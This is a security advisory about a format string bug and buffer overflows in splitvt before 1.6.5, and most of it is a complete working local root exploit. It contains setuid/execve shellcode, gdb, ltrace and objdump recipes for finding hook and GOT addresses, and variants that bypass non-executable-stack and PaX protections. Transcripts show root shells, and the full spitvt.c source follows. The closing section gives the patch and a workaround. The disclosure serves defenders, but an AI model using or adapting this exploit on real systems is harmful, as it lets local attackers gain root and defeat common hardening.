COMMAND
splitvt
SYSTEMS AFFECTED
splitvt
PROBLEM
Michel Kaempf found following. Splitvt is a program that splits
any vt100 compatible screen into two - an upper and lower window
in which you can run two programs at the same time. Splitvt
differs from screen in that while screen gives you multiple
virtual screens, splitvt splits your screen into two fully visible
windows. You can even use splitvt with screen to provide multiple
split screens. This can be very handy when running over a modem,
or for developing client-server applications or watching routine
tasks as you work.
The latest splitvt versions are available via the web at:
http://www.devolution.com/~slouken/projects/splitvt/
Versions < 1.6.5 contain a format string vulnerability and
numerous buffer overflows. As splitvt is installed setuid root or
setgid tty or utmp on most systems, an attacker might be able to
successfully exploit one of these vulnerabilities and gain special
privileges on the local system.
Although many of the discovered buffer overflows were exploitable,
the program described here exploits the format string
vulnerability present in the parserc.c module:
sprintf(rcfile_buf, startupfile, home);
rcfile_buf is a malloced buffer, startupfile is a string provided
to splitvt by the user thanks to the -rcfile option, and home is
a pointer to the HOME environment variable.
The exploit should be portable and even work against systems
protected with StackGuard, StackShield, OpenWall, PaX or whatever.
The current version successfully exploits splitvt on every Linux
system (i386, sparc, etc), and should only need a small amount
of changes in order to work against different systems, like *BSD
or SunOS for example. See the "Portability" section below for
more information.
The vulnerability looks like a classic format string
vulnerability, and it is, except one or two details. The
*printf() functions read their arguments on the stack, and in
case of a format string vulnerability, they read the addresses
where they should store the number of characters written so far
(the %n arguments) on the stack. Here, the rcfile_buf is located
in the heap and not on the stack, and that is why the %n arguments
should already be present somewhere on the stack at the time the
guilty sprintf() call is performed. The exploit stores them among
the arguments passed to splitvt, so that they are located on the
stack and can contain nul characters.
The format string (startupfile) should therefore force sprintf()
to eat every single byte on the stack until it reaches the %n
arguments, located somewhere at the beginning of the stack. And
the format string should be built so that rcfile_buf cannot be
overflowed, which could happen because it was malloced to hold
the format string, but not the *converted* format string. The
solution is to use %c, which is 2 bytes long, but only 1 byte
long (one character) once converted. Thus rcfile_buf will be big
enough to hold the converted format string. And because one %c is
only 2 bytes long but actually eats 4 bytes on the stack, the
length of the whole format string is minimized.
During the design of the exploit, lots of problems arose:
- On SlackWare for example, /bin/sh (bash) drops privileges before
actually spawning a shell. The exploit should therefore fix the
privileges before running a shell.
- The length modifier hh, described in printf(3), did not work
correctly on Linux i386 systems when used along with the n
conversion specifier (%hhn behaved just like %n). The latest
libc release corrects this behaviour, but not everyone runs the
latest libc.
- Something strange is going on when passing very long arguments
to execve() on Linux sparc. Instead of complaining because of
a too long argument list like on Linux i386, execve()
successfully starts the new program, but some arguments passed
to the program are overwritten, and some environment variables
are lost, but without any notification.
The conclusion was: in order to build a portable exploit, a
flexible mechanism, capable of overwriting an arbitrary number of
arbitrary integers in memory with arbitrary integers, was needed.
The information the exploit needs in order to successfully work
are described in the "fixme" section of the code:
- COMMAND: the command splitvt should run once the terminal split
into two windows (see below);
- HOME_VALUE: the value of the HOME environment variable (see
below);
- SPLITVT: the location of the setuid or setgid splitvt binary
("/usr/bin/splitvt" on most systems);
- STACK: the beginning of the stack ((0xc0000000-4) on Linux i386,
(0xf0000000-8) on Linux sparc for example);
- n: an array where each entry indicates an integer type
(short_int or signed_char), a pointer to an integer to be
overwritten (pointer) and the integer which should be stored
there (number) (see below).
Besides the "fixme" section, the exploit also needs to know how
many integers it should eat on the stack: its unique command line
argument.
The first obvious exploitation method would be to overwrite a
function pointer somewhere in memory (__malloc_hook for example)
with a pointer to a shellcode located somewhere on the stack (the
HOME environment variable for example).
Here is how to find out the address of the __malloc_hook function
pointer:
$ cp /usr/bin/splitvt /tmp/splitvt
$ gdb /tmp/splitvt
(gdb) break getopt
(gdb) run
(gdb) p &__malloc_hook
0x40140cdc
Here is the corresponding "fixme" section:
/* <fixme> */
#define COMMAND "foobar"
#define HOME_VALUE \
/* setuid( 0 ); */ \
"\x31\xdb\x89\xd8\xb0\x17\xcd\x80" \
/* setgid( 0 ); */ \
"\x31\xdb\x89\xd8\xb0\x2e\xcd\x80" \
/* Aleph One :) */ \
"\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b" \
"\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd" \
"\x80\xe8\xdc\xff\xff\xff/bin/sh"
#define SPLITVT "/usr/bin/splitvt"
#define STACK (0xc0000000-4)
n_t n[] = {
{ short_int, (void *)(0x40140cdc+0),
((STACK-sizeof(SPLITVT)-sizeof(HOME_VALUE))&0x0000fffc) },
{ short_int, (void *)(0x40140cdc+2),
((STACK-sizeof(SPLITVT)-sizeof(HOME_VALUE))&0xffff0000)>>16 },
{ null }
};
/* </fixme> */
COMMAND is set to "foobar" because it does not matter, splitvt
will not be able to reach the part of the code which uses this
value. The __malloc_hook function pointer will be overwritten in
two passes (two short ints). The address of the shellcode (the
HOME environment variable) is computed so that it is 4 bytes
aligned (thus the &0x0000fffc) and split into two short ints. And
the final exploitation:
$ gcc -o spitvt spitvt.c
$ for i in `seq 8630 8670`; do echo $i; ./spitvt $i; done
8630
8631
8632
8633
8634
8635
8636
8637
8638
8639
8640
8641
8642
8643
8644
8645
8646
8647
sh-2.03# id
uid=0(root) gid=0(root)
The previous method will not work on systems patched with Solar
Designer's non-executable stack patch. But at the beginning of
the rcfile_buf buffer, located somewhere in the heap, is stored
the content of the HOME environment variable. Thanks to ltrace
for example, it is possible to find out the address of rcfile_buf
and to exploit splitvt on patched systems:
$ cp /usr/bin/splitvt /tmp/splitvt
$ gdb /tmp/splitvt
(gdb) break getopt
(gdb) run
(gdb) p &__free_hook
0x255cd8
$ ltrace /tmp/splitvt 2>&1 | grep malloc
0x0805f958
/* <fixme> */
#define COMMAND "foobar"
#define HOME_VALUE \
/* setuid( 0 ); */ \
"\x31\xdb\x89\xd8\xb0\x17\xcd\x80" \
/* setgid( 0 ); */ \
"\x31\xdb\x89\xd8\xb0\x2e\xcd\x80" \
/* Aleph One :) */ \
"\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b" \
"\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd" \
"\x80\xe8\xdc\xff\xff\xff/bin/sh"
#define SPLITVT "/usr/bin/splitvt"
#define STACK (0xc0000000-4)
n_t n[] = {
{ short_int, (void *)(0x255cd8+0), /*0805*/0xf958 },
{ short_int, (void *)(0x255cd8+2), 0x0805/*f958*/ },
{ null }
};
/* </fixme> */
$ gcc -o spitvt spitvt.c
$ ./spitvt 8659
sh-2.03# id
uid=0(root) gid=0(root)
The previous method will not work against systems patched with
PaX. Therefore the exploit has to use return-into-libc style
attacks. For example, the library call following the guilty
sprintf() call is:
open(rcfile_buf, O_RDONLY, 0)
Fortunately, O_RDONLY is equal to 0, so that, if the exploit
manages to replace the open() function with the execve() function,
the previous library call would actually result in
execve(rcfile_buf, NULL, NULL).
The exploit should overwrite the GOT (Global Offset Table) entry
of the open() function with the address of the execve() function,
and make sure rcfile_buf contains a valid filename (rcfile_buf
holds the HOME environment variable and garbage (the converted %c
characters)... thus the exploit has to nul terminate the HOME
string (thanks to a third entry in the n array) in order to create
a valid filename):
$ objdump -R /usr/bin/splitvt | grep open
08052f40
$ cp /usr/bin/splitvt /tmp/splitvt
$ gdb /tmp/splitvt
(gdb) break getopt
(gdb) run
(gdb) p execve
0x400ec178
$ ltrace /tmp/splitvt 2>&1 | grep malloc
0x0805f958
$ gcc -o /tmp/sh /tmp/sh.c
$ cat /tmp/sh.c
#include <unistd.h>
int main()
{
char * argv[] = { "/bin/sh", NULL };
setuid( 0 );
setgid( 0 );
execve( argv[0], argv, NULL );
return( -1 );
}
/* <fixme> */
#define COMMAND "foobar"
#define HOME_VALUE "/tmp/sh"
#define SPLITVT "/usr/bin/splitvt"
#define STACK (0xc0000000-4)
n_t n[] = {
{ short_int, (void *)(0x08052f40 + 0), /*400e*/0xc178 },
{ short_int, (void *)(0x08052f40 + 2), 0x400e/*c178*/ },
{ signed_char, (void *)(0x0805f958 + sizeof(HOME_VALUE) - 1), 0 },
{ null }
};
/* </fixme> */
$ gcc -o spitvt spitvt.c
$ ./spitvt 8658
sh-2.03# id
uid=0(root) gid=0(root)
But wait... thanks to splitvt, it is possible to obtain two root
shells for the price of one. The exploit has to make sure splitvt
does not drop the privileges before spawning the shells, by
replacing the call to setuid (or setgid, depending on the splitvt
binary) with a harmless call, to getuid for example:
$ objdump -R /usr/bin/splitvt | grep setuid
08052f78
$ objdump -T /usr/bin/splitvt | grep getuid
08049250
/* <fixme> */
#define COMMAND "/tmp/sh"
#define HOME_VALUE "foobar"
#define SPLITVT "/usr/bin/splitvt"
#define STACK (0xc0000000-4)
n_t n[] = {
{ short_int, (void *)(0x08052f78 + 0), /*0804*/0x9250 },
{ short_int, (void *)(0x08052f78 + 2), 0x0804/*9250*/ },
{ null }
};
/* </fixme> */
$ gcc -o spitvt spitvt.c
$ ./spitvt 8659
Gotcha!
Another method, which will only work on systems where splitvt is
setuid root, is to replace the call to getuid() with a call to
sync(), a harmless function which always returns 0:
$ objdump -R /usr/bin/splitvt | grep getuid
08052f30
$ cp /usr/bin/splitvt /tmp/splitvt
$ gdb /tmp/splitvt
(gdb) break getopt
(gdb) run
(gdb) p sync
0x40105b80
/* <fixme> */
#define COMMAND "/bin/sh"
#define HOME_VALUE "foobar"
#define SPLITVT "/usr/bin/splitvt"
#define STACK (0xc0000000-4)
n_t n[] = {
{ short_int, (void *)(0x08052f30 + 0), /*4010*/0x5b80 },
{ short_int, (void *)(0x08052f30 + 2), 0x4010/*5b80*/ },
{ null }
};
/* </fixme> */
$ gcc -o spitvt spitvt.c
$ ./spitvt 8659
Gotcha!
That was for Linux i386. What about Linux sparc? The shellcode
techniques (stack and heap) presented above work on Linux sparc.
The return-into-libc attacks however will not if applied directly
to the sparc architecture, because of the differences in the
dynamic linking process: on sparc, there is no GOT. When
disassembling the code corresponding to dynamically linked
functions before the shared libraries are loaded:
$ ls -l /usr/bin/splitvt
-rwxr-sr-x 1 root utmp 50824 Jun 28 2000 /usr/bin/splitvt
$ cp /usr/bin/splitvt /tmp/splitvt
$ gdb /tmp/splitvt
(gdb) disass setgid
Dump of assembler code for function setgid:
0x2beac <setgid>: sethi %hi(0x48000), %g1
0x2beb0 <setgid+4>: b,a 0x2bd8c <_IO_stdin_used+72780>
0x2beb4 <setgid+8>: nop
End of assembler dump.
(gdb) disass getgid
Dump of assembler code for function getgid:
0x2c014 <getgid>: sethi %hi(0xa2000), %g1
0x2c018 <getgid+4>: b,a 0x2bd8c <_IO_stdin_used+72780>
0x2c01c <getgid+8>: nop
End of assembler dump.
The code of the setgid() and getgid() functions is exactly the
same, except the value of the second short int:
(gdb) x 0x2beac
0x2beac <setgid>: 0x03000120
(gdb) x 0x2c014
0x2c014 <getgid>: 0x03000288
If the exploit replaces 0x0120 at the address (0x2beac+2) with
0x0288, splitvt should not drop the privileges before spawning
the shells:
/* <fixme> */
#define COMMAND "/bin/sh"
#define HOME_VALUE "foobar"
#define SPLITVT "/usr/bin/splitvt"
#define STACK (0xf0000000-8)
n_t n[] = {
{ signed_char, (void *)(0x2beac+2), 0x02 },
{ signed_char, (void *)(0x2beac+3), 0x88 },
{ null }
};
/* </fixme> */
Because of the potential very long arguments described above in
the "Further down the spiral" section, the signed_char mechanism
was used instead of the short_int mechanism.
$ gcc -o spitvt spitvt.c
$ ./spitvt 8715
sh-2.04$ id
egid=43(utmp)
Gotcha!
The exploit is already almost portable, but in order to work on
operating systems different from Linux, a few changes have to be
made: the stack layout has to be known, because sometimes 4 bytes
and 16 bytes alignment is required (see the "Code" section below
for more information).
Therefore, each time the symbolic constant STACK appears, there is
something to adjust in the exploit.
The code:
/*
* MasterSecuritY <www.mastersecurity.fr>
*
* spitvt.c - Local exploit for splitvt < 1.6.5
* Copyright (C) 2001 fish stiqz <fish@analog.org>
* Copyright (C) 2001 Michel "MaXX" Kaempf <maxx@mastersecurity.fr>
*
* Updated versions of this exploit and the corresponding advisory will
* be made available at:
*
* ftp://maxx.via.ecp.fr/spitvt/
*
* This program is free software; you can redistribute it and/or modify
* it under the terms of the GNU General Public License as published by
* the Free Software Foundation; either version 2 of the License, or (at
* your option) any later version.
*
* This program is distributed in the hope that it will be useful,
* but WITHOUT ANY WARRANTY; without even the implied warranty of
* MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU
* General Public License for more details.
*
* You should have received a copy of the GNU General Public License
* along with this program; if not, write to the Free Software
* Foundation, Inc., 59 Temple Place, Suite 330, Boston, MA 02111-1307
* USA
*/
#include <limits.h>
#include <stdint.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
/* array_of_strings_t */
typedef struct array_of_strings_s {
size_t strings;
char ** array;
} array_of_strings_t;
/* type_t */
typedef enum {
short_int,
signed_char,
null
} type_t;
/* n_t */
typedef struct n_s {
type_t type;
void * pointer;
int number;
} n_t;
/* <fixme> */
#define COMMAND ""
#define HOME_VALUE ""
#define SPLITVT ""
#define STACK ()
n_t n[] = {
{ null }
};
/* </fixme> */
unsigned long int eat;
array_of_strings_t aos_envp = { 0, NULL };
array_of_strings_t aos_argv = { 0, NULL };
/* array_of_strings() */
int array_of_strings( array_of_strings_t * p_aos, char * string )
{
size_t strings;
char ** array;
if ( p_aos->strings == SIZE_MAX / sizeof(char *) ) {
return( -1 );
}
strings = p_aos->strings + 1;
array = realloc( p_aos->array, strings * sizeof(char *) );
if ( array == NULL ) {
return( -1 );
}
(p_aos->array = array)[ p_aos->strings++ ] = string;
return( 0 );
}
#define HOME_KEY "HOME"
/* home() */
int home()
{
char * home;
unsigned int envp_home;
unsigned int i;
home = malloc( sizeof(HOME_KEY) + sizeof(HOME_VALUE) + (4-1) );
if ( home == NULL ) {
return( -1 );
}
strcpy( home, HOME_KEY"="HOME_VALUE );
/* if HOME_VALUE holds a shellcode and is to be executed, 4 bytes
* alignment is sometimes required (on sparc architectures for
* example) */
envp_home = STACK - sizeof(SPLITVT) - sizeof(HOME_VALUE);
for ( i = 0; i < envp_home % 4; i++ ) {
strcat( home, "X" );
}
return( array_of_strings(&aos_envp, home) );
}
/* shell() */
int shell()
{
size_t size;
unsigned int i;
char * shell;
char * string;
size = 0;
for ( i = 0; n[i].type != null; i++ ) {
size += sizeof(void *);
}
shell = malloc( size + 3 + 1 );
if ( shell == NULL ) {
return( -1 );
}
for ( i = 0; n[i].type != null; i++ ) {
*( (void **)shell + i ) = n[i].pointer;
}
/* since file is 16 bytes aligned on the stack, the following 3
* characters padding ensures shell is 4 bytes aligned */
for ( i = 0; i < 3; i++ ) {
shell[ size + i ] = 'X';
}
shell[ size + i ] = '\0';
for ( string = shell; string <= shell+size+i; string += strlen(string)+1 ) {
if ( array_of_strings(&aos_argv, string) ) {
return( -1 );
}
}
return( 0 );
}
#define S "%s"
#define C "%c"
#define HN "%hn"
#define HHN "%hhn"
/* file() */
int file()
{
size_t size;
unsigned int i, j;
char * file;
int number;
unsigned int argv_file;
size = (sizeof(S)-1) + (eat * (sizeof(C)-1));
for ( i = 0; n[i].type != null; i++ ) {
switch ( n[i].type ) {
case short_int:
/* at most USHRT_MAX 'X's are needed */
size += USHRT_MAX + (sizeof(HN)-1);
break;
case signed_char:
/* at most UCHAR_MAX 'X's are needed */
size += UCHAR_MAX + (sizeof(HHN)-1);
break;
case null:
default:
return( -1 );
}
}
file = malloc( size + (16-1) + 1 );
if ( file == NULL ) {
return( -1 );
}
i = 0;
memcpy( file + i, S, sizeof(S)-1 );
i += sizeof(S)-1;
for ( j = 0; j < eat; j++ ) {
memcpy( file + i, C, sizeof(C)-1 );
i += sizeof(C)-1;
}
/* initialize number to the number of characters written so far
* (aos_envp.array[aos_envp.strings-2] corresponds to the HOME
* environment variable) */
number = strlen(aos_envp.array[aos_envp.strings-2])-sizeof(HOME_KEY) + eat;
for ( j = 0; n[j].type != null; j++ ) {
switch ( n[j].type ) {
case short_int:
while ( (short int)number != (short int)n[j].number ) {
file[ i++ ] = 'X';
number += 1;
}
memcpy( file + i, HN, sizeof(HN)-1 );
i += sizeof(HN)-1;
break;
case signed_char:
while ( (signed char)number != (signed char)n[j].number ) {
file[ i++ ] = 'X';
number += 1;
}
memcpy( file + i, HHN, sizeof(HHN)-1 );
i += sizeof(HHN)-1;
break;
case null:
default:
return( -1 );
}
}
/* in order to maintain a constant distance between the sprintf()
* arguments and the splitvt shell argument, 16 bytes alignment is
* sometimes required (for ELF binaries for example) */
argv_file = STACK - sizeof(SPLITVT);
for ( j = 0; aos_envp.array[j] != NULL; j++ ) {
argv_file -= strlen( aos_envp.array[j] ) + 1;
}
argv_file -= i + 1;
for ( j = 0; j < argv_file % 16; j++ ) {
file[ i++ ] = 'X';
}
file[ i ] = '\0';
return( array_of_strings(&aos_argv, file) );
}
/* main() */
int main( int argc, char * argv[] )
{
/* eat */
if ( argc != 2 ) {
return( -1 );
}
eat = strtoul( argv[1], NULL, 0 );
/* aos_envp */
array_of_strings( &aos_envp, "TERM=vt100" );
/* home() should always be called right before NULL is added to
* aos_envp */
if ( home() ) {
return( -1 );
}
array_of_strings( &aos_envp, NULL );
/* aos_argv */
array_of_strings( &aos_argv, SPLITVT );
array_of_strings( &aos_argv, "-upper" );
array_of_strings( &aos_argv, COMMAND );
array_of_strings( &aos_argv, "-lower" );
array_of_strings( &aos_argv, COMMAND );
/* shell() should always be called right before "-rcfile" is added
* to aos_argv */
if ( shell() ) {
return( -1 );
}
array_of_strings( &aos_argv, "-rcfile" );
/* file() should always be called right after "-rcfile" is added to
* aos_argv and right before NULL is added to aos_argv */
if ( file() ) {
return( -1 );
}
array_of_strings( &aos_argv, NULL );
/* execve() */
execve( aos_argv.array[0], aos_argv.array, aos_envp.array );
return( -1 );
}
SOLUTION
Sam Lantinga, the author, was contacted and a patch fixing the
exploitable and potential holes found in splitvt was provided.
He released a new splitvt version, 1.6.5, based on this patch.
As workaround, remove the setuid or setgid bit from splitvt,
because as mentioned in the splitvt ANNOUNCE file:
The set-uid bit is only for updating the utmp database and for
changing ownership of its pseudo-terminals. It is not
necessary for splitvt's operation.
For Debian:
http://security.debian.org/dists/stable/updates/main/source/splitvt_1.6.5-0potato1.diff.gz
http://security.debian.org/dists/stable/updates/main/source/splitvt_1.6.5-0potato1.dsc
http://security.debian.org/dists/stable/updates/main/source/splitvt_1.6.5.orig.tar.gz
http://security.debian.org/dists/stable/updates/main/binary-i386/splitvt_1.6.5-0potato1_i386.deb
http://security.debian.org/dists/stable/updates/main/binary-m68k/splitvt_1.6.5-0potato1_m68k.deb
http://security.debian.org/dists/stable/updates/main/binary-sparc/splitvt_1.6.5-0potato1_sparc.deb
http://security.debian.org/dists/stable/updates/main/binary-alpha/splitvt_1.6.5-0potato1_alpha.deb
http://security.debian.org/dists/stable/updates/main/binary-powerpc/splitvt_1.6.5-0potato1_powerpc.deb
http://security.debian.org/dists/stable/updates/main/binary-arm/splitvt_1.6.5-0potato1_arm.deb